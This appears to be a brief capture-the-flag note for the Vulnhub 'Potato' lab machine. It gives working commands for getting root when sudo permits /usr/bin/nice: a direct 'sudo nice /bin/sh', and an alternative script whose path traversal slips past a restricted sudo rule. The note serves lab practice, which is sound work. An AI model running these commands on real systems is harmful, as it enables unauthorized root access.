/usr/bin/nice

/bin/nice (Vulnhub potato, presupposes low priv ssh users | /home/webadmin is the current directory in the box, change according to specific circumstances)

#insta root

sudo nice /bin/sh

#Alternative

a) echo "/bin/bash" >> root.sh 
b) chmod 777 root.sh 
c) sudo /bin/nice /notes/../home/webadmin/root.sh
#root